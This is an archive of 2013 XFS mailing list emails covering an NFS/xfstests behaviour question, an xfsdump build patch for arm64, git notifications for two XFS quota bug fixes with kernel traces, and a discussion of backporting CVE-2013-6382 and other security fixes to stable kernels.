(abhmp0005.oracle.com [141.146.116.11]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBAEhstS006967; Tue, 10 Dec 2013 14:43:54 GMT Received: from [10.162.81.220] (/10.162.81.220) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 10 Dec 2013 06:43:54 -0800 Message-ID: <52A728A7.8020905@oracle.com> Date: Tue, 10 Dec 2013 18:43:51 +0400 From: Stanislav Kholmanskikh User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20131030 Thunderbird/17.0.10 MIME-Version: 1.0 To: "J. Bruce Fields" CC: Christoph Hellwig , Vasily Isaenko , linux-nfs@vger.kernel.org, xfs@oss.sgi.com, "Sachin S. Prabhu" Subject: Re: nfs vs xfstests 193 References: <20131106115648.GA24804@infradead.org> <52A1CF22.106@oracle.com> <20131206180858.GA2803@infradead.org> <20131206204404.GA12613@fieldses.org> <20131206204747.GB12613@fieldses.org> X-ASG-Orig-Subj: Re: nfs vs xfstests 193 In-Reply-To: <20131206204747.GB12613@fieldses.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1386686668 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142987 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header On 12/07/2013 12:47 AM, J. Bruce Fields wrote: > On Fri, Dec 06, 2013 at 03:44:04PM -0500, bfields wrote: >> On Fri, Dec 06, 2013 at 10:08:58AM -0800, Christoph Hellwig wrote: >>> On Fri, Dec 06, 2013 at 05:20:34PM +0400, Stanislav Kholmanskikh wrote: >>>> Just to make the behaviour more consistent between NFS and other >>>> "local" file systems as It was done by >>>> commit https://git.kernel.org/cgit/linux/kernel/git/stable/linux-stable.git/commit/?id=0953e620de0538cbd081f1b45126f6098112a598 >>> >>> Seems like we got others in line with XFS behavior. >> >> But, not having tested the behavior, it looks like fs/open.c has a >> simlar !S_ISDIR() check. Where's that behavior implemented? >> >>> I'd prefer to have NFS follow this as well. >> >> Huh. Sachin, do you remember if there was any other motivation behind >> that patch? > > Never mind, I see, the complaint is about the case where the id's don't > change, not about the directory case. So Sachin's > 0953e620de0538cbd081f1b45126f6098112a598 doesn't actually have anything > to do with this. > > I'm fine with removing the id comparisons and changing the nfsd behavior > to match local filesystems. Great. I will try to produce a patch for this. > > --b. > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From sandeen@sandeen.net Tue Dec 10 08:46:48 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 192167F93 for ; Tue, 10 Dec 2013 08:46:48 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id EEA4A8F8050 for ; Tue, 10 Dec 2013 06:46:47 -0800 (PST) X-ASG-Debug-ID: 1386686806-04bdf0131b1812d0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id Tszx3AnrdggSRA5k for ; Tue, 10 Dec 2013 06:46:46 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id F313D6A7A8C2; Tue, 10 Dec 2013 08:46:45 -0600 (CST) Message-ID: <52A72930.4020404@sandeen.net> Date: Tue, 10 Dec 2013 08:46:08 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.1.1 MIME-Version: 1.0 To: Kyle McMartin , sandeen@redhat.com CC: xfs@oss.sgi.com Subject: Re: [PATCH] xfsdump: don't assume getdents exists References: <20131106213635.GC24712@redacted.bos.redhat.com> X-ASG-Orig-Subj: Re: [PATCH] xfsdump: don't assume getdents exists In-Reply-To: <20131106213635.GC24712@redacted.bos.redhat.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1386686806 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142987 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 11/6/13, 3:36 PM, Kyle McMartin wrote: > New Linux ports are using a standard syscall list that does not include > deprecated syscalls where 64-bit clean alternatives exist. As a result, > on arm64, __NR_getdents is undefined, resulting in xfsdump failing to > build. > > To avoid that, in the case where __NR_getdents is unset in unistd.h, > avoid building the fallback path entirely, since > __ASSUME_GETDENTS64_SYSCALL will be true, the SYS_getdents64 case will > be the primary (and only) path used. > > Signed-off-by: Kyle McMartin Hey Kyle - were you going to do a V2 of this one? Just checking, thanks - -Eric > --- a/common/getdents.c > +++ b/common/getdents.c > @@ -70,6 +70,9 @@ extern int __have_no_getdents64; > # ifndef SYS_getdents64 > # define SYS_getdents64 __NR_getdents64 > # endif > +# ifndef __NR_getdents > +# define __ONLY_GETDENTS64_SYSCALL 1 > +# endif > #endif > > > @@ -207,6 +210,13 @@ getdents_wrap (int fd, char *buf, size_t nbytes) > # endif > } > #endif > +/* Newer Linux ports are not adding deprecated syscalls, so to avoid compile > + * failures since SYS_getdents will be undefined, we check for that and only > + * build the fall-back case if SYS_getdents is defined. We know that > + * __ASSUME_GETDENTS64_SYSCALL is set, since __NR_getdents64 must exist on > + * those platforms. > + */ > +#ifndef __ONLY_GETDENTS64_SYSCALL > { > size_t red_nbytes; > struct kernel_dirent *skdp, *kdp; > @@ -265,4 +275,5 @@ getdents_wrap (int fd, char *buf, size_t nbytes) > } > > return (char *) dp - buf; > +#endif > } > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From bpm@oss.sgi.com Tue Dec 10 09:40:11 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id 41E4B7F9F; Tue, 10 Dec 2013 09:40:11 -0600 (CST) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, master, updated. xfs-for-linus-v3.13-rc1-2-13376-gdf8052e X-Git-Refname: refs/heads/master X-Git-Reftype: branch X-Git-Oldrev: c91c46c12768daac8486dff0f74bc52c2ec974cd X-Git-Newrev: df8052e7dae00bde6f21b40b6e3e1099770f3afc Message-Id: <20131210154011.41E4B7F9F@oss.sgi.com> Date: Tue, 10 Dec 2013 09:40:09 -0600 (CST) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, master has been updated df8052e xfs: fix infinite loop by detaching the group/project hints from user dquot 5a01dd5 xfs: fix assertion failure at xfs_setattr_nonsize from c91c46c12768daac8486dff0f74bc52c2ec974cd (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit df8052e7dae00bde6f21b40b6e3e1099770f3afc Author: Jie Liu Date: Tue Nov 26 21:38:49 2013 +0800 xfs: fix infinite loop by detaching the group/project hints from user dquot xfs_quota(8) will hang up if trying to turn group/project quota off before the user quota is off, this could be 100% reproduced by: # mount -ouquota,gquota /dev/sda7 /xfs # mkdir /xfs/test # xfs_quota -xc 'off -g' /xfs <-- hangs up # echo w > /proc/sysrq-trigger # dmesg SysRq : Show Blocked State task PC stack pid father xfs_quota D 0000000000000000 0 27574 2551 0x00000000 [snip] Call Trace: [] schedule+0xad/0xc0 [] schedule_timeout+0x35e/0x3c0 [] ? mark_held_locks+0x176/0x1c0 [] ? call_timer_fn+0x2c0/0x2c0 [] ? xfs_qm_shrink_count+0x30/0x30 [xfs] [] schedule_timeout_uninterruptible+0x26/0x30 [] xfs_qm_dquot_walk+0x235/0x260 [xfs] [] ? xfs_perag_get+0x1d8/0x2d0 [xfs] [] ? xfs_perag_get+0x5/0x2d0 [xfs] [] ? xfs_inode_ag_iterator+0xae/0xf0 [xfs] [] ? xfs_trans_free_dqinfo+0x50/0x50 [xfs] [] ? xfs_inode_ag_iterator+0xcf/0xf0 [xfs] [] xfs_qm_dqpurge_all+0x66/0xb0 [xfs] [] xfs_qm_scall_quotaoff+0x20a/0x5f0 [xfs] [] xfs_fs_set_xstate+0x136/0x180 [xfs] [] do_quotactl+0x53a/0x6b0 [] ? iput+0x5b/0x90 [] SyS_quotactl+0x167/0x1d0 [] ? trace_hardirqs_on_thunk+0x3a/0x3f [] system_call_fastpath+0x16/0x1b It's fine if we turn user quota off at first, then turn off other kind of quotas if they are enabled since the group/project dquot refcount is decreased to zero once the user quota if off. Otherwise, those dquots refcount is non-zero due to the user dquot might refer to them as hint(s). Hence, above operation cause an infinite loop at xfs_qm_dquot_walk() while trying to purge dquot cache. This problem has been around since Linux 3.4, it was introduced by: [ b84a3a9675 xfs: remove the per-filesystem list of dquots ] Originally we will release the group dquot pointers because the user dquots maybe carrying around as a hint via xfs_qm_detach_gdquots(). However, with above change, there is no such work to be done before purging group/project dquot cache. In order to solve this problem, this patch introduces a special routine xfs_qm_dqpurge_hints(), and it would release the group/project dquot pointers the user dquots maybe carrying around as a hint, and then it will proceed to purge the user dquot cache if requested. Cc: stable@vger.kernel.org Signed-off-by: Jie Liu Reviewed-by: Dave Chinner Signed-off-by: Ben Myers commit 5a01dd54f4a7fb513062070c5acef20d13cad980 Author: Jie Liu Date: Tue Nov 26 21:38:34 2013 +0800 xfs: fix assertion failure at xfs_setattr_nonsize For CRC enabled v5 super block, change a file's ownership can simply trigger an ASSERT failure at xfs_setattr_nonsize() if both group and project quota are enabled, i.e, [ 305.337609] XFS: Assertion failed: !XFS_IS_PQUOTA_ON(mp), file: fs/xfs/xfs_iops.c, line: 621 [ 305.339250] Kernel BUG at ffffffffa0a7fa32 [verbose debug info unavailable] [ 305.383939] Call Trace: [ 305.385536] [] xfs_setattr_nonsize+0x69a/0x720 [xfs] [ 305.387142] [] xfs_vn_setattr+0x29/0x70 [xfs] [ 305.388727] [] notify_change+0x1a8/0x350 [ 305.390298] [] chown_common+0xfd/0x110 [ 305.391868] [] SyS_fchownat+0xaf/0x110 [ 305.393440] [] SyS_lchown+0x20/0x30 [ 305.394995] [] system_call_fastpath+0x1a/0x1f [ 305.399870] RIP [] assfail+0x22/0x30 [xfs] This fix adjust the assertion to check if the super block support both quota inodes or not. Signed-off-by: Jie Liu Reviewed-by: Christoph Hellwig Signed-off-by: Ben Myers ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_iops.c | 3 ++- fs/xfs/xfs_qm.c | 71 +++++++++++++++++++++++++++++++++++++++---------------- 2 files changed, 52 insertions(+), 22 deletions(-) hooks/post-receive -- XFS development tree From bpm@oss.sgi.com Tue Dec 10 09:40:21 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id CFC297FA7; Tue, 10 Dec 2013 09:40:21 -0600 (CST) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, for-next, updated. xfs-for-linus-v3.13-rc1-2-13376-gdf8052e X-Git-Refname: refs/heads/for-next X-Git-Reftype: branch X-Git-Oldrev: c91c46c12768daac8486dff0f74bc52c2ec974cd X-Git-Newrev: df8052e7dae00bde6f21b40b6e3e1099770f3afc Message-Id: <20131210154021.CFC297FA7@oss.sgi.com> Date: Tue, 10 Dec 2013 09:40:21 -0600 (CST) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, for-next has been updated df8052e xfs: fix infinite loop by detaching the group/project hints from user dquot 5a01dd5 xfs: fix assertion failure at xfs_setattr_nonsize from c91c46c12768daac8486dff0f74bc52c2ec974cd (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit df8052e7dae00bde6f21b40b6e3e1099770f3afc Author: Jie Liu Date: Tue Nov 26 21:38:49 2013 +0800 xfs: fix infinite loop by detaching the group/project hints from user dquot xfs_quota(8) will hang up if trying to turn group/project quota off before the user quota is off, this could be 100% reproduced by: # mount -ouquota,gquota /dev/sda7 /xfs # mkdir /xfs/test # xfs_quota -xc 'off -g' /xfs <-- hangs up # echo w > /proc/sysrq-trigger # dmesg SysRq : Show Blocked State task PC stack pid father xfs_quota D 0000000000000000 0 27574 2551 0x00000000 [snip] Call Trace: [] schedule+0xad/0xc0 [] schedule_timeout+0x35e/0x3c0 [] ? mark_held_locks+0x176/0x1c0 [] ? call_timer_fn+0x2c0/0x2c0 [] ? xfs_qm_shrink_count+0x30/0x30 [xfs] [] schedule_timeout_uninterruptible+0x26/0x30 [] xfs_qm_dquot_walk+0x235/0x260 [xfs] [] ? xfs_perag_get+0x1d8/0x2d0 [xfs] [] ? xfs_perag_get+0x5/0x2d0 [xfs] [] ? xfs_inode_ag_iterator+0xae/0xf0 [xfs] [] ? xfs_trans_free_dqinfo+0x50/0x50 [xfs] [] ? xfs_inode_ag_iterator+0xcf/0xf0 [xfs] [] xfs_qm_dqpurge_all+0x66/0xb0 [xfs] [] xfs_qm_scall_quotaoff+0x20a/0x5f0 [xfs] [] xfs_fs_set_xstate+0x136/0x180 [xfs] [] do_quotactl+0x53a/0x6b0 [] ? iput+0x5b/0x90 [] SyS_quotactl+0x167/0x1d0 [] ? trace_hardirqs_on_thunk+0x3a/0x3f [] system_call_fastpath+0x16/0x1b It's fine if we turn user quota off at first, then turn off other kind of quotas if they are enabled since the group/project dquot refcount is decreased to zero once the user quota if off. Otherwise, those dquots refcount is non-zero due to the user dquot might refer to them as hint(s). Hence, above operation cause an infinite loop at xfs_qm_dquot_walk() while trying to purge dquot cache. This problem has been around since Linux 3.4, it was introduced by: [ b84a3a9675 xfs: remove the per-filesystem list of dquots ] Originally we will release the group dquot pointers because the user dquots maybe carrying around as a hint via xfs_qm_detach_gdquots(). However, with above change, there is no such work to be done before purging group/project dquot cache. In order to solve this problem, this patch introduces a special routine xfs_qm_dqpurge_hints(), and it would release the group/project dquot pointers the user dquots maybe carrying around as a hint, and then it will proceed to purge the user dquot cache if requested. Cc: stable@vger.kernel.org Signed-off-by: Jie Liu Reviewed-by: Dave Chinner Signed-off-by: Ben Myers commit 5a01dd54f4a7fb513062070c5acef20d13cad980 Author: Jie Liu Date: Tue Nov 26 21:38:34 2013 +0800 xfs: fix assertion failure at xfs_setattr_nonsize For CRC enabled v5 super block, change a file's ownership can simply trigger an ASSERT failure at xfs_setattr_nonsize() if both group and project quota are enabled, i.e, [ 305.337609] XFS: Assertion failed: !XFS_IS_PQUOTA_ON(mp), file: fs/xfs/xfs_iops.c, line: 621 [ 305.339250] Kernel BUG at ffffffffa0a7fa32 [verbose debug info unavailable] [ 305.383939] Call Trace: [ 305.385536] [] xfs_setattr_nonsize+0x69a/0x720 [xfs] [ 305.387142] [] xfs_vn_setattr+0x29/0x70 [xfs] [ 305.388727] [] notify_change+0x1a8/0x350 [ 305.390298] [] chown_common+0xfd/0x110 [ 305.391868] [] SyS_fchownat+0xaf/0x110 [ 305.393440] [] SyS_lchown+0x20/0x30 [ 305.394995] [] system_call_fastpath+0x1a/0x1f [ 305.399870] RIP [] assfail+0x22/0x30 [xfs] This fix adjust the assertion to check if the super block support both quota inodes or not. Signed-off-by: Jie Liu Reviewed-by: Christoph Hellwig Signed-off-by: Ben Myers ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_iops.c | 3 ++- fs/xfs/xfs_qm.c | 71 +++++++++++++++++++++++++++++++++++++++---------------- 2 files changed, 52 insertions(+), 22 deletions(-) hooks/post-receive -- XFS development tree From bpm@sgi.com Tue Dec 10 09:57:51 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 43F637F53 for ; Tue, 10 Dec 2013 09:57:51 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4179B8F8049; Tue, 10 Dec 2013 07:57:47 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id DF8D34266DC; Tue, 10 Dec 2013 09:57:46 -0600 (CST) Date: Tue, 10 Dec 2013 09:57:46 -0600 From: Ben Myers To: Eric Sandeen Cc: Josh Boyer , Greg KH , Luis Henriques , Brian Foster , Kees Cook , Dwight Engen , LKML , "stable@vger.kernel.org" , xfs@oss.sgi.com, Gao feng , Dave Chinner Subject: Re: XFS security fix never sent to -stable? Message-ID: <20131210155746.GB1935@sgi.com> References: <20131209121534.GE4278@hercules> <20131209235523.GW31386@dastard> <20131210075621.GA30135@kroah.com> <52A725BB.8080602@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52A725BB.8080602@sandeen.net> User-Agent: Mutt/1.5.20 (2009-06-14) Hi, On Tue, Dec 10, 2013 at 08:31:23AM -0600, Eric Sandeen wrote: > On 12/10/13, 7:15 AM, Josh Boyer wrote: > > On Tue, Dec 10, 2013 at 2:56 AM, Greg KH wrote: > >> On Tue, Dec 10, 2013 at 10:55:23AM +1100, Dave Chinner wrote: > >>> [cc xfs list, cc stable@vger.kernel.org] > >>> > >>> On Mon, Dec 09, 2013 at 08:17:09AM -0500, Josh Boyer wrote: > >>>> On Mon, Dec 9, 2013 at 7:15 AM, Luis Henriques > >>>> wrote: > >>>>> On Thu, Dec 05, 2013 at 04:35:50PM -0800, Kees Cook wrote: > >>>>>> Hi, > >>>>>> > >>>>>> It looks like 8c567a7fab6e086a0284eee2db82348521e7120c ("xfs: add > >>>>>> capability check to free eofblocks ioctl") is a security fix that was > >>>>>> never sent to -stable? From what I can see, it was introduced in 3.8 > >>>>>> by 8ca149de80478441352a8622ea15fae7de703ced ("xfs: add > >>>>>> XFS_IOC_FREE_EOFBLOCKS ioctl"). > >>>>>> > >>>>>> I don't see this in the 3.8.y tree. Should it be added there and newer? > >>>>> > >>>>> Thanks Kees, I'm queuing it for the 3.11 kernel. > >>>> > >>>> There's also this one: > >>>> > >>>> http://thread.gmane.org/gmane.comp.file-systems.xfs.general/57654 > >>>> > >>>> It fixes CVE-2013-6382 > >>> > >>> First I've heard about it there being a CVE for that bug. Since when > >>> has it been considered best practice to publish CVEs without first > >>> (or ever) directly contacting the relevant upstream developers? > >>> > >>> But, regardless of how broken I think the CVE process is, commit > >>> 071c529 ("xfs: underflow bug in xfs_attrlist_by_handle()") should be > >>> picked up by the stable kernels. > >> > >> I don't see that commit in Linus's tree, is it not there yet? > > > > Not yet. Ben said it's applied but I'm not sure where that is. > > xfs git tree: > > http://oss.sgi.com/cgi-bin/gitweb.cgi?p=xfs/xfs.git;a=commitdiff;h=071c529eb672648ee8ca3f90944bcbcc730b4c06 I'll send a pull request containing this commit this afternoon. Thanks, Ben From BATV+86b229dfdd27afc694a3+3761+infradead.org+hch@bombadil.srs.infradead.org Tue Dec 10 10:12:31 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id F318C7F52 for ; Tue, 10 Dec 2013 10:12:30 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 8EAA6AC00A for ; Tue, 10 Dec 2013 08:12:27 -0800 (PST) X-ASG-Debug-ID: 1386691943-04bdf01322184270001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id ZCNbsViibaPeRcjN (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Tue, 10 Dec 2013 08:12:23 -0800 (PST) X-Barracuda-Envelope-From: BATV+86b229dfdd27afc694a3+3761+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VqPv5-0007KC-6u; Tue, 10 Dec 2013 16:12:23 +0000 Date: Tue, 10 Dec 2013 08:12:23 -0800 From: Christoph Hellwig To: Ben Myers Cc: Christoph Hellwig , Dave Chinner , xfs@oss.sgi.com Subject: Re: [PATCH 06/10] xfs: format log items write directly into the linear CIL buffer Message-ID: <20131210161223.GC19510@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 06/10] xfs: format log items write directly into the linear CIL buffer References: <20131129083919.207915844@bombadil.infradead.org> <20131129084001.028583376@bombadil.infradead.org> <20131204003712.GE10988@dastard> <20131209190028.GW1935@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131209190028.GW1935@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386691943 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142989 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Mon, Dec 09, 2013 at 01:00:28PM -0600, Ben Myers wrote: > > And if we need to guarantee alignment, then maybe roundup here to > > ensure we don't end up with bad offsets? That would require padding > > the allocation of the buffer to take it into account, too.... > > > > Other than this concern, the code looks fine. > > Christoph, what about this alignment issue? I think Dave is right, but I haven't had time to look at the issue in detail and respin the patchset yet. From BATV+86b229dfdd27afc694a3+3761+infradead.org+hch@bombadil.srs.infradead.org Tue Dec 10 10:13:52 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 436FD7FB1 for ; Tue, 10 Dec 2013 10:13:52 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id C1DA6AC00A for ; Tue, 10 Dec 2013 08:13:51 -0800 (PST) X-ASG-Debug-ID: 1386692029-04cbb0416967f4a0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id fZjwIEG9A4lT3t8E (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 10 Dec 2013 08:13:50 -0800 (PST) X-Barracuda-Envelope-From: BATV+86b229dfdd27afc694a3+3761+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VqPwT-0007LI-Az; Tue, 10 Dec 2013 16:13:49 +0000 Date: Tue, 10 Dec 2013 08:13:49 -0800 From: Christoph Hellwig To: Dave Chinner Cc: Christoph Hellwig , xfs@oss.sgi.com Subject: Re: [PATCH 04/11] xfs: add xfs_ilock_attr_map_shared Message-ID: <20131210161349.GD19510@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 04/11] xfs: add xfs_ilock_attr_map_shared References: <20131206203006.914776999@bombadil.infradead.org> <20131206203128.663030833@bombadil.infradead.org> <20131208223610.GE31386@dastard> <20131209181612.GA22183@infradead.org> <20131209222433.GY10988@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131209222433.GY10988@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386692030 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142989 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Dec 10, 2013 at 09:24:33AM +1100, Dave Chinner wrote: > I wouldn't have pointed at it if the original code had that > problem... :/ Strange. I'd swear I haven't reworded anything. I'll fix it back up. From BATV+86b229dfdd27afc694a3+3761+infradead.org+hch@bombadil.srs.infradead.org Tue Dec 10 10:18:29 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1B4647F59 for ; Tue, 10 Dec 2013 10:18:29 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id EBD9F304066 for ; Tue, 10 Dec 2013 08:18:28 -0800 (PST) X-ASG-Debug-ID: 1386692308-04cbb0416867f700001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id LP6JAoeEA1LFsT69 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Tue, 10 Dec 2013 08:18:28 -0800 (PST) X-Barracuda-Envelope-From: BATV+86b229dfdd27afc694a3+3761+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VqQ0x-0008Sm-TH; Tue, 10 Dec 2013 16:18:27 +0000 Date: Tue, 10 Dec 2013 08:18:27 -0800 From: Christoph Hellwig To: Ben Myers Cc: Christoph Hellwig , xfs@oss.sgi.com Subject: Re: [PATCH 01/10] xfs: remove duplicate code in xlog_cil_insert_format_items Message-ID: <20131210161827.GA32474@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 01/10] xfs: remove duplicate code in xlog_cil_insert_format_items References: <20131129083919.207915844@bombadil.infradead.org> <20131129084000.123386171@bombadil.infradead.org> <20131209194548.GX1935@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131209194548.GX1935@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) 